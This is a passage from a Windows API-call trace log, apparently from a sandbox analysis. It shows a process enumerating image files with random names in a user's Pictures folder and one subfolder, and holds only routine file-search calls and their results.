lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45470d40, ftCreationTime.dwHighDateTime=0x1d9902e, ftLastAccessTime.dwLowDateTime=0xce7b2250, ftLastAccessTime.dwHighDateTime=0x1d99424, ftLastWriteTime.dwLowDateTime=0xce7b2250, ftLastWriteTime.dwHighDateTime=0x1d99424, nFileSizeHigh=0x0, nFileSizeLow=0x10214, dwReserved0=0x0, dwReserved1=0x0, cFileName="xZs_pvfkFvsLuPC.png", cAlternateFileName="XZS_PV~1.PNG")) returned 1 [0220.420] FindNextFileW (in: hFindFile=0x1d1f4e70, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2b065f0, ftCreationTime.dwHighDateTime=0x1d99436, ftLastAccessTime.dwLowDateTime=0xfd187ef0, ftLastAccessTime.dwHighDateTime=0x1d99663, ftLastWriteTime.dwLowDateTime=0xfd187ef0, ftLastWriteTime.dwHighDateTime=0x1d99663, nFileSizeHigh=0x0, nFileSizeLow=0x355d, dwReserved0=0x0, dwReserved1=0x0, cFileName="X_0OBGQaEuABxWhV.gif", cAlternateFileName="X_0OBG~1.GIF")) returned 1 [0220.420] FindNextFileW (in: hFindFile=0x1d1f4e70, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e3dfb30, ftCreationTime.dwHighDateTime=0x1d99b63, ftLastAccessTime.dwLowDateTime=0x65588980, ftLastAccessTime.dwHighDateTime=0x1d99c9d, ftLastWriteTime.dwLowDateTime=0x65588980, ftLastWriteTime.dwHighDateTime=0x1d99c9d, nFileSizeHigh=0x0, nFileSizeLow=0x120c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="YOyghaW41JyM6p.gif", cAlternateFileName="YOYGHA~1.GIF")) returned 1 [0220.421] FindNextFileW (in: hFindFile=0x1d1f4e70, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28ecb7a0, ftCreationTime.dwHighDateTime=0x1d9982e, ftLastAccessTime.dwLowDateTime=0x14d0f80, ftLastAccessTime.dwHighDateTime=0x1d99cc8, ftLastWriteTime.dwLowDateTime=0x14d0f80, ftLastWriteTime.dwHighDateTime=0x1d99cc8, nFileSizeHigh=0x0, nFileSizeLow=0x12551, dwReserved0=0x0, dwReserved1=0x0, cFileName="_uOj3P1 QRSC5YDopoVk.gif", cAlternateFileName="_UOJ3P~1.GIF")) returned 1 [0220.421] FindNextFileW (in: hFindFile=0x1d1f4e70, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0220.421] FindClose (in: hFindFile=0x1d1f4e70 | out: hFindFile=0x1d1f4e70) returned 1 [0220.421] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0220.421] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0220.421] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.421] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\s0_hmVtAbRsuxuXW", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Pictures\\s0_hmVtAbRsuxuXW", lpFilePart=0x0) returned 0x2f [0220.421] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\s0_hmVtAbRsuxuXW\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\pictures\\s0_hmvtabrsuxuxw\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12cfa7e0, ftCreationTime.dwHighDateTime=0x1d9916a, ftLastAccessTime.dwLowDateTime=0xef0992f0, ftLastAccessTime.dwHighDateTime=0x1d9923e, ftLastWriteTime.dwLowDateTime=0xef0992f0, ftLastWriteTime.dwHighDateTime=0x1d9923e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4270 [0220.484] FindNextFileW (in: hFindFile=0x1d1f4270, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12cfa7e0, ftCreationTime.dwHighDateTime=0x1d9916a, ftLastAccessTime.dwLowDateTime=0xef0992f0, ftLastAccessTime.dwHighDateTime=0x1d9923e, ftLastWriteTime.dwLowDateTime=0xef0992f0, ftLastWriteTime.dwHighDateTime=0x1d9923e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.484] FindNextFileW (in: hFindFile=0x1d1f4270, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25024c40, ftCreationTime.dwHighDateTime=0x1d98ce4, ftLastAccessTime.dwLowDateTime=0xb0852430, ftLastAccessTime.dwHighDateTime=0x1d997e9, ftLastWriteTime.dwLowDateTime=0xb0852430, ftLastWriteTime.dwHighDateTime=0x1d997e9, nFileSizeHigh=0x0, nFileSizeLow=0x606c, dwReserved0=0x0, dwReserved1=0x0, cFileName="-5zcMo7BjMfVLQL31QCg.gif", cAlternateFileName="-5ZCMO~1.GIF")) returned 1 [0220.485] FindNextFileW (in: hFindFile=0x1d1f4270, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda6ae3c0, ftCreationTime.dwHighDateTime=0x1d99afa, ftLastAccessTime.dwLowDateTime=0x20971880, ftLastAccessTime.dwHighDateTime=0x1d99cbf, ftLastWriteTime.dwLowDateTime=0x20971880, ftLastWriteTime.dwHighDateTime=0x1d99cbf, nFileSizeHigh=0x0, nFileSizeLow=0xaa6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="2Ei1dWF5BZz37hswjcR-.jpg", cAlternateFileName="2EI1DW~1.JPG")) returned 1 [0220.485] FindNextFileW (in: hFindFile=0x1d1f4270, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1707290, ftCreationTime.dwHighDateTime=0x1d990b8, ftLastAccessTime.dwLowDateTime=0x4e1084a0, ftLastAccessTime.dwHighDateTime=0x1d99c37, ftLastWriteTime.dwLowDateTime=0x4e1084a0, ftLastWriteTime.dwHighDateTime=0x1d99c37, nFileSizeHigh=0x0, nFileSizeLow=0xfa14, dwReserved0=0x0, dwReserved1=0x0, cFileName="5BXVxs 4evz9FsM.jpg", cAlternateFileName="5BXVXS~1.JPG")) returned 1 [0220.485] FindNextFileW (in: hFindFile=0x1d1f4270, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4174c9f0, ftCreationTime.dwHighDateTime=0x1d99a7e, ftLastAccessTime.dwLowDateTime=0xaaad9520, ftLastAccessTime.dwHighDateTime=0x1d99c11, ftLastWriteTime.dwLowDateTime=0xaaad9520, ftLastWriteTime.dwHighDateTime=0x1d99c11, nFileSizeHigh=0x0, nFileSizeLow=0xb2da, dwReserved0=0x0, dwReserved1=0x0, cFileName="5d9zs3LLn1OqtS.png", cAlternateFileName="5D9ZS3~1.PNG")) returned 1 [0220.485] FindNextFileW (in: hFindFile=0x1d1f4270, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b5c3d50, ftCreationTime.dwHighDateTime=0x1d999a2, ftLastAccessTime.dwLowDateTime=0x2db43cf0, ftLastAccessTime.dwHighDateTime=0x1d99c6f, ftLastWriteTime.dwLowDateTime=0x2db43cf0, ftLastWriteTime.dwHighDateTime=0x1d99c6f, nFileSizeHigh=0x0, nFileSizeLow=0xf3a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="66jY26.png", cAlternateFileName="")) returned 1 [0220.485] FindNextFileW (in: hFindFile=0x1d1f4270, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd830c40, ftCreationTime.dwHighDateTime=0x1d98ce2, ftLastAccessTime.dwLowDateTime=0x4d4a7760, ftLastAccessTime.dwHighDateTime=0x1d99b38, ftLastWriteTime.dwLowDateTime=0x4d4a7760, ftLastWriteTime.dwHighDateTime=0x1d99b38, nFileSizeHigh=0x0, nFileSizeLow=0xa777, dwReserved0=0x0, dwReserved1=0x0, cFileName="6csqtjx39_jVJrUFD.png", cAlternateFileName="6CSQTJ~1.PNG")) returned 1 [0220.485] FindNextFileW (in: hFindFile=0x1d1f4270, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9996dd70, ftCreationTime.dwHighDateTime=0x1d98dd2, ftLastAccessTime.dwLowDateTime=0x1f4937a0, ftLastAccessTime.dwHighDateTime=0x1d9923e, ftLastWriteTime.dwLowDateTime=0x1f4937a0, ftLastWriteTime.dwHighDateTime=0x1d9923e, nFileSizeHigh=0x0, nFileSizeLow=0x6271, dwReserved0=0x0, dwReserved1=0x0, cFileName="6ekU57L_.bmp", cAlternateFileName="")) returned 1 [0220.486] FindNextFileW (in: hFindFile=0x1d1f4270, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2129e6e0, ftCreationTime.dwHighDateTime=0x1d99230, ftLastAccessTime.dwLowDateTime=0xfd1f60b0, ftLastAccessTime.dwHighDateTime=0x1d9948a, ftLastWriteTime.dwLowDateTime=0xfd1f60b0, ftLastWriteTime.dwHighDateTime=0x1d9948a, nFileSizeHigh=0x0, nFileSizeLow=0x17958, dwReserved0=0x0, dwReserved1=0x0, cFileName="ajRKhCM.jpg", cAlternateFileName="")) returned 1 [0220.486] FindNextFileW (in: hFindFile=0x1d1f4270, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x411cdcb0, ftCreationTime.dwHighDateTime=0x1d98cda, ftLastAccessTime.dwLowDateTime=0x90166de0, ftLastAccessTime.dwHighDateTime=0x1d9913a, ftLastWriteTime.dwLowDateTime=0x90166de0, ftLastWriteTime.dwHighDateTime=0x1d9913a, nFileSizeHigh=0x0, nFileSizeLow=0x10245, dwReserved0=0x0, dwReserved1=0x0, cFileName="am8k.png", cAlternateFileName="")) returned 1 [0220.486] FindNextFileW (in: hFindFile=0x1d1f4270, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7388a420, ftCreationTime.dwHighDateTime=0x1d997e5, ftLastAccessTime.dwLowDateTime=0x36182760, ftLastAccessTime.dwHighDateTime=0x1d99cd5, ftLastWriteTime.dwLowDateTime=0x36182760, ftLastWriteTime.dwHighDateTime=0x1d99cd5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="evauM", cAlternateFileName="")) returned 1 [0220.486] FindNextFileW (in: hFindFile=0x1d1f4270, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3510760, ftCreationTime.dwHighDateTime=0x1d99c06, ftLastAccessTime.dwLowDateTime=0xe4311b30, ftLastAccessTime.dwHighDateTime=0x1d99cfe, ftLastWriteTime.dwLowDateTime=0xe4311b30, ftLastWriteTime.dwHighDateTime=0x1d99cfe, nFileSizeHigh=0x0, nFileSizeLow=0xc881, dwReserved0=0x0, dwReserved1=0x0, cFileName="iRxguQJCcZHpjXzv_.gif", cAlternateFileName="IRXGUQ~1.GIF")) returned 1 [0220.486] FindNextFileW (in: hFindFile=0x1d1f4270, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831260f0, ftCreationTime.dwHighDateTime=0x1d992a1, ftLastAccessTime.dwLowDateTime=0xd6ce08a0, ftLastAccessTime.dwHighDateTime=0x1d99a23, ftLastWriteTime.dwLowDateTime=0xd6ce08a0, ftLastWriteTime.dwHighDateTime=0x1d99a23, nFileSizeHigh=0x0, nFileSizeLow=0x11fde, dwReserved0=0x0, dwReserved1=0x0, cFileName="mqGABo.gif", cAlternateFileName="")) returned 1 [0220.487] FindNextFileW (in: hFindFile=0x1d1f4270, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7e49610, ftCreationTime.dwHighDateTime=0x1d994d6, ftLastAccessTime.dwLowDateTime=0x26e3f8e0, ftLastAccessTime.dwHighDateTime=0x1d995c9, ftLastWriteTime.dwLowDateTime=0x26e3f8e0, ftLastWriteTime.dwHighDateTime=0x1d995c9, nFileSizeHigh=0x0, nFileSizeLow=0xb99b, dwReserved0=0x0, dwReserved1=0x0, cFileName="n8TJowKUuKQ.gif", cAlternateFileName="N8TJOW~1.GIF")) returned 1 [0220.487] FindNextFileW (in: hFindFile=0x1d1f4270, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45470d40, ftCreationTime.dwHighDateTime=0x1d9902e, ftLastAccessTime.dwLowDateTime=0xce7b2250, ftLastAccessTime.dwHighDateTime=0x1d99424, ftLastWriteTime.dwLowDateTime=0xce7b2250, ftLastWriteTime.dwHighDateTime=0x1d99424, nFileSizeHigh=0x0, nFileSizeLow=0x10214, dwReserved0=0x0, dwReserved1=0x0, cFileName="xZs_pvfkFvsLuPC.png", cAlternateFileName="XZS_PV~1.PNG")) returned 1 [0220.487] FindNextFileW (in: hFindFile=0x1d1f4270, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2b065f0, ftCreationTime.dwHighDateTime=0x1d99436, ftLastAccessTime.dwLowDateTime=0xfd187ef0, ftLastAccessTime.dwHighDateTime=0x1d99663, ftLastWriteTime.dwLowDateTime=0xfd187ef0, ftLastWriteTime.dwHighDateTime=0x1d99663, nFileSizeHigh=0x0, nFileSizeLow=0x355d, dwReserved0=0x0, dwReserved1=0x0, cFileName="X_0OBGQaEuABxWhV.gif", cAlternateFileName="X_0OBG~1.GIF")) returned 1 [0220.487] FindNextFileW (in: hFindFile=0x1d1f4270, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e3dfb30, ftCreationTime.dwHighDateTime=0x1d99b63, ftLastAccessTime.dwLowDateTime=0x65588980, ftLastAccessTime.dwHighDateTime=0x1d99c9d, ftLastWriteTime.dwLowDateTime=0x65588980, ftLastWriteTime.dwHighDateTime=0x1d99c9d, nFileSizeHigh=0x0, nFileSizeLow=0x120c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="YOyghaW41JyM6p.gif", cAlternateFileName="YOYGHA~1.GIF")) returned 1 [0220.487] FindNextFileW (in: hFindFile=0x1d1f4270, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28ecb7a0, ftCreationTime.dwHighDateTime=0x1d9982e, ftLastAccessTime.dwLowDateTime=0x14d0f80, ftLastAccessTime.dwHighDateTime=0x1d99cc8, ftLastWriteTime.dwLowDateTime=0x14d0f80, ftLastWriteTime.dwHighDateTime=0x1d99cc8, nFileSizeHigh=0x0, nFileSizeLow=0x12551, dwReserved0=0x0, dwReserved1=0x0, cFileName="_uOj3P1 QRSC5YDopoVk.gif", cAlternateFileName="_UOJ3P~1.GIF")) returned 1 [0220.488] FindNextFileW (in: hFindFile=0x1d1f4270, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28ecb7a0, ftCreationTime.dwHighDateTime=0x1d9982e, ftLastAccessTime.dwLowDateTime=0x14d0f80, ftLastAccessTime.dwHighDateTime=0x1d99cc8, ftLastWriteTime.dwLowDateTime=0x14d0f80, ftLastWriteTime.dwHighDateTime=0x1d99cc8, nFileSizeHigh=0x0, nFileSizeLow=0x12551, dwReserved0=0x0, dwReserved1=0x0, cFileName="_uOj3P1 QRSC5YDopoVk.gif", cAlternateFileName="_UOJ3P~1.GIF")) returned 0 [0220.488] FindClose (in: hFindFile=0x1d1f4270 | out: hFindFile=0x1d1f4270) returned 1 [0220.488] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0220.488] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0220.488] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9dff0) returned 1 [0220.488] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\s0_hmVtAbRsuxuXW\\evauM", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Pictures\\s0_hmVtAbRsuxuXW\\evauM", lpFilePart=0x0) returned 0x35 [0220.488] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\s0_hmVtAbRsuxuXW\\evauM\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\pictures\\s0_hmvtabrsuxuxw\\evaum\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7388a420, ftCreationTime.dwHighDateTime=0x1d997e5, ftLastAccessTime.dwLowDateTime=0x36182760, ftLastAccessTime.dwHighDateTime=0x1d99cd5, ftLastWriteTime.dwLowDateTime=0x36182760, ftLastWriteTime.dwHighDateTime=0x1d99cd5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f3fd0 [0220.529] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7388a420, ftCreationTime.dwHighDateTime=0x1d997e5, ftLastAccessTime.dwLowDateTime=0x36182760, ftLastAccessTime.dwHighDateTime=0x1d99cd5, ftLastWriteTime.dwLowDateTime=0x36182760, ftLastWriteTime.dwHighDateTime=0x1d99cd5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.530] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3cc21f0, ftCreationTime.dwHighDateTime=0x1d995d8, ftLastAccessTime.dwLowDateTime=0xb6137e30, ftLastAccessTime.dwHighDateTime=0x1d99b75, ftLastWriteTime.dwLowDateTime=0xb6137e30, ftLastWriteTime.dwHighDateTime=0x1d99b75, nFileSizeHigh=0x0, nFileSizeLow=0x33b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8JEvlGSY7x.jpg", cAlternateFileName="8JEVLG~1.JPG")) returned 1 [0220.530] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1db98840, ftCreationTime.dwHighDateTime=0x1d993f1, ftLastAccessTime.dwLowDateTime=0x3390120, ftLastAccessTime.dwHighDateTime=0x1d99b40, ftLastWriteTime.dwLowDateTime=0x3390120, ftLastWriteTime.dwHighDateTime=0x1d99b40, nFileSizeHigh=0x0, nFileSizeLow=0x2c44, dwReserved0=0x0, dwReserved1=0x0, cFileName="c F7BGL5wTNhuyYU7Yq1.png", cAlternateFileName="CF7BGL~1.PNG")) returned 1 [0220.530] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecfea170, ftCreationTime.dwHighDateTime=0x1d998c5, ftLastAccessTime.dwLowDateTime=0x1c1f9e40, ftLastAccessTime.dwHighDateTime=0x1d99b0b, ftLastWriteTime.dwLowDateTime=0x1c1f9e40, ftLastWriteTime.dwHighDateTime=0x1d99b0b, nFileSizeHigh=0x0, nFileSizeLow=0x17513, dwReserved0=0x0, dwReserved1=0x0, cFileName="c7wYZYTssse21zV8O.jpg", cAlternateFileName="C7WYZY~1.JPG")) returned 1 [0220.530] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8985a90, ftCreationTime.dwHighDateTime=0x1d99ae2, ftLastAccessTime.dwLowDateTime=0x5e940380, ftLastAccessTime.dwHighDateTime=0x1d99cc1, ftLastWriteTime.dwLowDateTime=0x5e940380, ftLastWriteTime.dwHighDateTime=0x1d99cc1, nFileSizeHigh=0x0, nFileSizeLow=0x18279, dwReserved0=0x0, dwReserved1=0x0, cFileName="dJ0GFkN6Cip6y.gif", cAlternateFileName="DJ0GFK~1.GIF")) returned 1 [0220.530] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704f6b30, ftCreationTime.dwHighDateTime=0x1d9901b, ftLastAccessTime.dwLowDateTime=0x21ba1f90, ftLastAccessTime.dwHighDateTime=0x1d9940a, ftLastWriteTime.dwLowDateTime=0x21ba1f90, ftLastWriteTime.dwHighDateTime=0x1d9940a, nFileSizeHigh=0x0, nFileSizeLow=0xb23c, dwReserved0=0x0, dwReserved1=0x0, cFileName="EuXJEawpPqVoiep.gif", cAlternateFileName="EUXJEA~1.GIF")) returned 1 [0220.530] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6101620, ftCreationTime.dwHighDateTime=0x1d98ee1, ftLastAccessTime.dwLowDateTime=0x923c3800, ftLastAccessTime.dwHighDateTime=0x1d99b96, ftLastWriteTime.dwLowDateTime=0x923c3800, ftLastWriteTime.dwHighDateTime=0x1d99b96, nFileSizeHigh=0x0, nFileSizeLow=0x3eda, dwReserved0=0x0, dwReserved1=0x0, cFileName="KYVD7OtT3rFB.bmp", cAlternateFileName="KYVD7O~1.BMP")) returned 1 [0220.531] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb11cc970, ftCreationTime.dwHighDateTime=0x1d9943d, ftLastAccessTime.dwLowDateTime=0x4e08a80, ftLastAccessTime.dwHighDateTime=0x1d99adb, ftLastWriteTime.dwLowDateTime=0x4e08a80, ftLastWriteTime.dwHighDateTime=0x1d99adb, nFileSizeHigh=0x0, nFileSizeLow=0x7f6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LmHF8cm11 J.jpg", cAlternateFileName="LMHF8C~1.JPG")) returned 1 [0220.531] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5b867a0, ftCreationTime.dwHighDateTime=0x1d99c25, ftLastAccessTime.dwLowDateTime=0xa2cd5a90, ftLastAccessTime.dwHighDateTime=0x1d99c64, ftLastWriteTime.dwLowDateTime=0xa2cd5a90, ftLastWriteTime.dwHighDateTime=0x1d99c64, nFileSizeHigh=0x0, nFileSizeLow=0xc4cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Q937oH49cNGy8K4rJIR.bmp", cAlternateFileName="Q937OH~1.BMP")) returned 1 [0220.531] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x836584d0, ftCreationTime.dwHighDateTime=0x1d99795, ftLastAccessTime.dwLowDateTime=0x2161e7d0, ftLastAccessTime.dwHighDateTime=0x1d99978, ftLastWriteTime.dwLowDateTime=0x2161e7d0, ftLastWriteTime.dwHighDateTime=0x1d99978, nFileSizeHigh=0x0, nFileSizeLow=0xa6b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vey_rDvsr_IoN2wg1y.png", cAlternateFileName="VEY_RD~1.PNG")) returned 1 [0220.532] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde153550, ftCreationTime.dwHighDateTime=0x1d99c32, ftLastAccessTime.dwLowDateTime=0x43ac31e0, ftLastAccessTime.dwHighDateTime=0x1d99c77, ftLastWriteTime.dwLowDateTime=0x43ac31e0, ftLastWriteTime.dwHighDateTime=0x1d99c77, nFileSizeHigh=0x0, nFileSizeLow=0xbe81, dwReserved0=0x0, dwReserved1=0x0, cFileName="WgJ2tKMasABA0Go0sCT8.bmp", cAlternateFileName="WGJ2TK~1.BMP")) returned 1 [0220.532] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0220.532] FindClose (in: hFindFile=0x1d1f3fd0 | out: hFindFile=0x1d1f3fd0) returned 1 [0220.532] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df20) returned 1 [0220.532] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9dee0) returned 1 [0220.532] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9dff0) returned 1 [0220.532] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\s0_hmVtAbRsuxuXW\\evauM", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Pictures\\s0_hmVtAbRsuxuXW\\evauM", lpFilePart=0x0) returned 0x35 [0220.532] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\s0_hmVtAbRsuxuXW\\evauM\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\pictures\\s0_hmvtabrsuxuxw\\evaum\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7388a420, ftCreationTime.dwHighDateTime=0x1d997e5, ftLastAccessTime.dwLowDateTime=0x36182760, ftLastAccessTime.dwHighDateTime=0x1d99cd5, ftLastWriteTime.dwLowDateTime=0x36182760, ftLastWriteTime.dwHighDateTime=0x1d99cd5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4bd0 [0220.533] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7388a420, ftCreationTime.dwHighDateTime=0x1d997e5, ftLastAccessTime.dwLowDateTime=0x36182760, ftLastAccessTime.dwHighDateTime=0x1d99cd5, ftLastWriteTime.dwLowDateTime=0x36182760, ftLastWriteTime.dwHighDateTime=0x1d99cd5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.533] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3cc21f0, ftCreationTime.dwHighDateTime=0x1d995d8, ftLastAccessTime.dwLowDateTime=0xb6137e30, ftLastAccessTime.dwHighDateTime=0x1d99b75, ftLastWriteTime.dwLowDateTime=0xb6137e30, 